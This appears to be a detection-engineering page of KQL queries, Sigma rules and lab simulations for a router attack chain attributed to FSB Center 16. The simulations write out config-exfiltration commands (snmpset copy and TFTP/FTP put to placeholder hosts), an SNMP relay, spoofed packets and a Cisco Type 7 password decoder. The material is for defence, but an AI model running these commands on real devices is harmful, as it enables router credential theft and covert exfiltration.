CommonSecurityLog | where TimeGenerated >= ago(1h) | where AdditionalExtensions contains "config.bkp" or AdditionalExtensions contains "output.txt" or RequestURL endswith ".bkp" or RequestURL endswith ".cfg" | project TimeGenerated, SourceIP, DestinationIP, RequestURL, AdditionalExtensions
title: Router Config Staged for Exfil id: t1602-002-config-stage status: experimental author: Elezar Detection Engineering logsource: product: network_device category: syslog detection: selection: message|contains: - 'config.bkp' - 'output.txt' - 'copy running-config' - 'Destination filename' condition: selection falsepositives: - Scheduled backups to authorized NMS level: critical tags: - attack.collection - attack.t1602.002
CommonSecurityLog | where TimeGenerated >= ago(1h) | where ApplicationProtocol == "SNMP" and DestinationPort == 161 | join kind=inner ( CommonSecurityLog | where ApplicationProtocol == "SNMP" and SourcePort == 161 ) on $left.DestinationIP == $right.SourceIP | project TimeGenerated, OriginalSource=SourceIP, RelayNode=DestinationIP, FinalTarget=DestinationIP1
title: SNMP Relay via Compromised Router id: t1090-snmp-proxy-chain status: experimental author: Elezar Detection Engineering logsource: product: firewall category: network_connection detection: inbound: dst_port: 161 proto: udp outbound: src_port: 161 proto: udp condition: inbound and outbound falsepositives: - Authorized SNMP proxy appliances level: high tags: - attack.command-and-control - attack.t1090
CommonSecurityLog | where TimeGenerated >= ago(1h) | where DestinationPort in (21, 69) | where SourceIP !startswith "10." and SourceIP !startswith "192.168." and SourceIP !startswith "172." | summarize ConnectionCount=count() by SourceIP, bin(TimeGenerated, 5m) | where ConnectionCount > 5 | project TimeGenerated, SourceIP, ConnectionCount
title: Outbound TFTP/FTP C2 Channel id: t1071-tftp-ftp-c2 status: experimental author: Elezar Detection Engineering logsource: product: firewall category: network_connection detection: selection: dst_port: [21, 69] initiated: 'true' filter: dst_ip|cidr: - '10.0.0.0/8' - '172.16.0.0/12' - '192.168.0.0/16' condition: selection and not filter falsepositives: - Authorized firmware update servers level: high tags: - attack.command-and-control - attack.t1071
CommonSecurityLog | where TimeGenerated >= ago(1h) | where DestinationPort in (21, 69) | where DeviceVendor contains "Cisco" or DeviceName contains "router" or DeviceName contains "switch" | where RequestURL contains "config" or RequestURL contains ".bkp" or RequestURL contains "output" | where DestinationIP !startswith "10." and DestinationIP !startswith "192.168." and DestinationIP !startswith "172." | project TimeGenerated, SourceIP, DestinationIP, DestinationPort, RequestURL
title: Router Config Exfil via TFTP id: t1048-tftp-exfil status: experimental author: Elezar Detection Engineering logsource: product: network_device category: syslog detection: selection: message|contains: - 'TFTP' - 'FTP' - 'config.bkp' - 'running-config' filter: dst_ip|cidr: - '10.0.0.0/8' - '172.16.0.0/12' - '192.168.0.0/16' condition: selection and not filter falsepositives: - Backups to authorized external NMS level: critical tags: - attack.exfiltration - attack.t1048
What to change now versus what to harden over the next quarter, per technique. Immediate items map to the five priorities above; longer-term items build the out-of-band management posture that makes the whole path uneconomical.
authPriv
no vstack
no ip http server
no ip http secure-server
snmp-server view READONLY iso included
conf t
write mem
enable algorithm-type sha256 secret
service password-encryption
snmp-server community <string> RO <acl-name>
1.3.6.1.4.1
copy
no tftp-server
copy running-config
Destination filename
ip scp server enable
tftp-server
ip ftp
enable secret
Prove each detection fires before you trust it. Atomic Red Team test IDs where they exist; manual lab steps (snmpset, scapy, socat, tftp) where they don't. The paired Sigma rule is written to fire on the simulated activity. Isolated lab only.
snmpset
scapy
socat
tftp
Invoke-AtomicTest T1595.001 -TestNumbers 1
# Linux nmap -sU -p 161 --script snmp-brute \ --script-args snmp-brute.communitiesdb=\ /usr/share/seclists/Misc/wordlist-common-snmp-community-strings.txt \ 192.168.1.0/24 # Windows (PowerShell) 1..254 | ForEach-Object { $ip = "192.168.1.$_" Test-NetConnection -ComputerName $ip -Port 161 }
title: SNMP Scan Simulation Detected id: t1595-001-sim-snmp-scan status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on nmap or snmpwalk SNMP scan activity used in ART T1595.001 test. logsource: product: firewall category: network_connection detection: snmp_probe: dst_port: 161 proto: udp nmap_snmp: dst_port: 161 proto: udp initiated: 'true' timeframe: 2m condition: (snmp_probe or nmap_snmp) | count(dst_ip) by src_ip > 10 falsepositives: - Authorized NMS polling level: high tags: - attack.reconnaissance - attack.t1595.001
Invoke-AtomicTest T1595.002 -TestNumbers 1
# Probe for open Smart Install port nmap -sT -p 4786 --open 192.168.1.0/24 # NSE script for SMI detection nmap -p 4786 --script \ cisco-smi-detect 192.168.1.1
title: Cisco SMI Vulnerability Scan Simulation id: t1595-002-sim-smi-probe status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on nmap probe of TCP/4786 as used in ART T1595.002 simulation. logsource: product: firewall category: network_connection detection: selection: dst_port: 4786 proto: tcp initiated: 'true' timeframe: 5m condition: selection | count(dst_ip) by src_ip > 5 falsepositives: - Authorized Cisco provisioning scans level: high tags: - attack.reconnaissance - attack.t1595.002 - cve.2018-0171
# Stand up a lab TFTP listener (Linux) # to simulate actor-controlled VPS sudo apt install tftpd-hpa sudo systemctl start tftpd-hpa # Confirm outbound connection from # a test device triggers the rule: tftp <lab-external-ip> -c get test.txt
title: Outbound TFTP to Simulated VPS id: t1583-003-sim-vps-tftp status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on outbound TFTP/FTP to external IPs simulating VPS C2 infrastructure contact. logsource: product: firewall category: network_connection detection: selection: dst_port: - 21 - 69 initiated: 'true' filter: dst_ip|cidr: - '10.0.0.0/8' - '172.16.0.0/12' - '192.168.0.0/16' condition: selection and not filter falsepositives: - Authorized firmware update servers level: medium tags: - attack.resource-development - attack.t1583.003
# Simulate SNMP relay on a lab host # (Linux - socat UDP relay) socat UDP4-RECVFROM:161,fork \ UDP4-SENDTO:<target-ip>:161 # Send SNMP from a third host through # the relay - confirm logs show relay # IP not original source IP snmpget -v2c -c public \ <relay-ip> sysDescr.0
title: SNMP Relay from Non-Management IP id: t1584-008-sim-snmp-relay status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on SNMP traffic from IPs outside the authorized management subnet, simulating a relay node. logsource: product: firewall category: network_connection detection: selection: dst_port: 161 proto: udp filter: src_ip|cidr: - '10.0.0.0/8' - '172.16.0.0/12' - '192.168.0.0/16' condition: selection and not filter falsepositives: - Cloud-hosted NMS platforms level: high tags: - attack.resource-development - attack.t1584.008
# Simulate PoC download on a test host # (Windows - confirms proxy/DLP logging) Invoke-WebRequest ` -Uri "https://github.com/search?q=CVE-2018-0171" ` -OutFile "$env:TEMP\cve-research.html" # Linux equivalent curl -o /tmp/cve-research.html \ "https://github.com/search?q=CVE-2018-0171"
title: CVE Exploit PoC Download Attempt id: t1588-005-sim-poc-download status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on web proxy logs showing download of CVE exploit PoC content from public repositories. logsource: product: proxy category: webproxy detection: selection: cs-uri-query|contains: - 'CVE-2018-0171' - 'CVE-2008-4128' - 'smartinstall exploit' cs-host|contains: - 'github.com' - 'exploit-db.com' - 'packetstormsecurity.com' condition: selection falsepositives: - Security researchers, red teamers level: medium tags: - attack.resource-development - attack.t1588.005
Invoke-AtomicTest T1190 -TestNumbers 1
# Confirm TCP/4786 is open nc -zv <lab-router-ip> 4786 # Send a crafted SMI packet to simulate # the exploit trigger (Python scapy) python3 -c " from scapy.all import * pkt = IP(dst='<lab-router-ip>')/\ TCP(dport=4786)/\ Raw(load=b'\x00\x01\x00\x01') send(pkt, verbose=1) "
title: Cisco Smart Install Exploit Simulation id: t1190-sim-smi-exploit status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on TCP/4786 connection attempts simulating CVE-2018-0171 exploitation as per ART T1190 test methodology. logsource: product: firewall category: network_connection detection: selection: dst_port: 4786 proto: tcp connection_state: 'established' condition: selection falsepositives: - Authorized Cisco Smart Install usage level: critical tags: - attack.initial-access - attack.t1190 - cve.2018-0171 - cve.2008-4128
Invoke-AtomicTest T1569.002 -TestNumbers 1
# Simulate SNMP Set to Config Copy OID # (lab router with SNMPv2c write access) snmpset -v2c -c private <lab-router-ip> \ 1.3.6.1.4.1.9.9.96.1.1.1.1.2.1 i 1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.3.1 i 4 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.4.1 i 1 \ 1.3.6.1.4.1.9.9.96.1.1.1.1.5.1 \ a <lab-tftp-server-ip> \ 1.3.6.1.4.1.9.9.96.1.1.1.1.6.1 \ s "config.bkp" \ 1.3.6.1.4.1.9.9.96.1.1.1.1.14.1 i 1
title: SNMP Set-Request to Config Copy OID id: t1569-sim-snmp-set-configcopy status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on SNMP Set-Request to Cisco Config Copy MIB OID as simulated by snmpset tool in lab environment. logsource: product: network_device category: snmp detection: selection: snmp_type: 'set-request' oid|startswith: '1.3.6.1.4.1.9.9.96' condition: selection falsepositives: - Authorized NMS SNMP config backup level: critical tags: - attack.execution - attack.t1569
Invoke-AtomicTest T1068 -TestNumbers 1
# After SMI connection established to # lab device, attempt enable escalation telnet <lab-router-ip> # At prompt: send crafted SMI payload # to reach enable mode without password # Confirm syslog records priv-15 access
title: Privilege Escalation via Cisco Exploit id: t1068-sim-cisco-privesc status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on rapid sequential connections to Cisco management ports simulating post-exploitation privilege escalation. logsource: product: firewall category: network_connection detection: selection: dst_port: - 4786 - 161 - 22 - 23 timeframe: 2m condition: selection | count() by src_ip > 3 falsepositives: - Automated network management tools level: critical tags: - attack.privilege-escalation - attack.t1068 - cve.2018-0171
Invoke-AtomicTest T1027 -TestNumbers 1,2
# Linux - send SNMP packet with # spoofed source IP (127.0.0.1) python3 -c " from scapy.all import * pkt = IP(src='127.0.0.1', dst='<lab-router-ip>')/\ UDP(dport=161)/\ SNMP(PDU=SNMPget( varbindlist=[SNMPvarbind( oid=ASN1_OID('1.3.6.1.2.1.1.1.0') )] )) send(pkt, verbose=1) "
title: SNMP with Spoofed Loopback Source IP id: t1027-sim-snmp-spoof status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on SNMP packets bearing a loopback or self-referential source IP, simulating proxy-chain IP spoofing as used in FSB Center 16 operations. logsource: product: firewall category: network_connection detection: selection: dst_port: 161 proto: udp src_ip|startswith: - '127.' - '0.0.0.' loopback_self: dst_port: 161 proto: udp src_ip: dst_ip condition: selection or loopback_self falsepositives: - None expected in production level: high tags: - attack.defense-evasion - attack.t1027
# ART endpoint credential dump test Invoke-AtomicTest T1003.001 -TestNumbers 1 # Router-specific: decode a Type 7 # password from an exfiltrated config # (Python - public decoder) python3 -c " pw = '0822455D0A16' xlat = [0x64,0x73,0x66,0x64,0x3b, 0x6b,0x66,0x6f,0x41,0x2c, 0x2e,0x69,0x79,0x65,0x77, 0x72,0x6b,0x6c,0x64,0x4a, 0x4b,0x44,0x48,0x53,0x55, 0x42] seed = int(pw[:2]) result = '' for i,h in enumerate( [pw[i:i+2] for i in range(2,len(pw),2)]): result += chr(int(h,16)^xlat[(seed+i-1)%26]) print('Decoded:', result) "
title: Type 7 Password Decode Tool Execution id: t1003-sim-type7-decode status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on execution of known Cisco Type 7 password decoder tools or scripts, simulating post-exfiltration credential extraction from router configs. logsource: product: windows category: process_creation detection: selection: CommandLine|contains: - 'type7' - 'cisco_decrypt' - 'ciscotype7' - '0x64,0x73,0x66' - 'xlat' python: Image|endswith: 'python.exe' CommandLine|contains: - 'xlat' - 'int(h,16)' condition: selection or python falsepositives: - Authorized security assessments level: high tags: - attack.credential-access - attack.t1003
Invoke-AtomicTest T1602.001 -TestNumbers 1
# Full MIB walk of Cisco enterprise OID snmpwalk -v2c -c public \ <lab-router-ip> \ 1.3.6.1.4.1.9.9.96 # Targeted walk of Config Copy entry OID snmpwalk -v2c -c public \ <lab-router-ip> \ 1.3.6.1.4.1.9.9.96.1.1.1.1 # GetBulk request (faster enumeration) snmpbulkwalk -v2c -c public \ <lab-router-ip> \ 1.3.6.1.4.1.9.9.96
title: SNMP MIB Walk of Cisco Config OID id: t1602-001-sim-mib-walk status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on SNMP bulk/next requests targeting the Cisco Config Copy MIB subtree as simulated by ART T1602.001 and manual snmpwalk/snmpbulkwalk tests. logsource: product: network_device category: snmp detection: selection: snmp_type: - 'get-bulk-request' - 'get-next-request' - 'get-request' oid|startswith: - '1.3.6.1.4.1.9.9.96' condition: selection falsepositives: - Authorized NMS scheduled MIB polls level: critical tags: - attack.collection - attack.t1602.001
Invoke-AtomicTest T1602.002 -TestNumbers 1
# On lab Cisco router (privileged CLI) # Simulate staging the running config copy running-config flash:config.bkp # Confirm syslog captures the event: # %SYS-5-CONFIG: Configured from # console by admin on vty0 # Alternative - SNMP-triggered copy # (see T1569 simulation above for # full snmpset OID sequence)
title: Router Config Dump to Staging File id: t1602-002-sim-config-dump status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on syslog evidence of config copy to known staging filenames as simulated by ART T1602.002 and manual CLI copy commands. logsource: product: network_device category: syslog detection: selection: message|contains: - 'config.bkp' - 'output.txt' - 'copy running-config' - 'Destination filename' - 'startup-config' condition: selection falsepositives: - Scheduled automated backups to authorized NMS level: critical tags: - attack.collection - attack.t1602.002
Invoke-AtomicTest T1090.002 -TestNumbers 1
# Host A (relay) - forward SNMP to Host B socat UDP4-RECVFROM:161,fork \ UDP4-SENDTO:<host-b-ip>:161 & # Host C (attacker) - send SNMP through relay snmpget -v2c -c public \ <host-a-relay-ip> sysDescr.0 # Confirm logs on Host B show Host A # (relay) as source, not Host C (attacker)
title: SNMP Multi-Hop Relay Chain id: t1090-sim-snmp-relay-chain status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires when a host both receives and forwards SNMP traffic, indicating a relay node as simulated by ART T1090.002 and manual socat relay tests. logsource: product: firewall category: network_connection detection: inbound_snmp: dst_port: 161 proto: udp dst_ip: '*' outbound_snmp: src_port: 161 proto: udp src_ip: '*' timeframe: 30s condition: inbound_snmp and outbound_snmp falsepositives: - Authorized SNMP proxy appliances level: high tags: - attack.command-and-control - attack.t1090
Invoke-AtomicTest T1071.001 -TestNumbers 1
# Simulate TFTP C2 channel (Linux) # Start a TFTP server on lab external host sudo python3 -m tftpy.TftpServer \ --ip 0.0.0.0 --port 69 & # Connect from test host (simulates router) tftp <lab-external-ip> \ -c get config.bkp # Simulate FTP C2 channel ftp <lab-external-ip> # Login and GET config.bkp
title: Outbound TFTP/FTP C2 Simulation id: t1071-sim-tftp-ftp-c2 status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on outbound TFTP/FTP connections to external IPs simulating C2 channel as per ART T1071.001 and manual TFTP/FTP egress simulation tests. logsource: product: firewall category: network_connection detection: selection: dst_port: - 21 - 69 initiated: 'true' filter: dst_ip|cidr: - '10.0.0.0/8' - '172.16.0.0/12' - '192.168.0.0/16' condition: selection and not filter falsepositives: - Authorized firmware update servers level: high tags: - attack.command-and-control - attack.t1071
Invoke-AtomicTest T1048.003 -TestNumbers 1
# Step 1: Stage config file with # known exfil filename echo "hostname router1 enable secret 5 \$1\$abc\$xyz snmp-server community public RO" \ > /tmp/config.bkp # Step 2: Exfiltrate via TFTP # (simulates router TFTP push) tftp <lab-external-ip> \ -c put /tmp/config.bkp config.bkp # Step 3: Exfiltrate via FTP ftp <lab-external-ip> << EOF user ftpuser password put /tmp/config.bkp output.txt bye EOF
title: Config File Exfiltration via TFTP/FTP id: t1048-sim-config-exfil status: test author: Elezar Detection Engineering date: 2026-07-14 description: > Fires on outbound TFTP/FTP transfer of files with known exfil naming conventions (config.bkp, output.txt) to external IPs, as simulated by ART T1048.003 and manual TFTP tests. logsource: product: network_device category: syslog detection: exfil_filename: message|contains: - 'config.bkp' - 'output.txt' - 'running-config' exfil_protocol: message|contains: - 'TFTP' - 'FTP' filter: dst_ip|cidr: - '10.0.0.0/8' - '172.16.0.0/12' - '192.168.0.0/16' condition: exfil_filename and exfil_protocol and not filter falsepositives: - Backups to authorized external NMS level: critical tags: - attack.exfiltration - attack.t1048 - attack.t1048.003
Hygiene is deterrence. The fastest wins against FSB Center 16 are the cheapest: no vstack, SNMPv3, and an egress block on TFTP. That alone removes the initial-access and exfiltration ends of the chain. Then validate the middle with the simulation matrix, and sweep the last 30 days with the hunt matrix to be sure you weren't already touched.
None of this is novel tradecraft on the defender's side either - it's disciplined coverage of a known path. That's the whole game with edge devices: the adversary is betting you aren't looking. Look.
Want detections, mitigations, simulations, hunts and advisories built and executed autonomously as soon as the next ASD/CISO advisory drops?
Detections, simulations and hunts authored by Team Elezar as an independent response to the public advisory. Validate every rule in your own environment before production use. CVE and OID references are reproduced from the advisory and vendor documentation.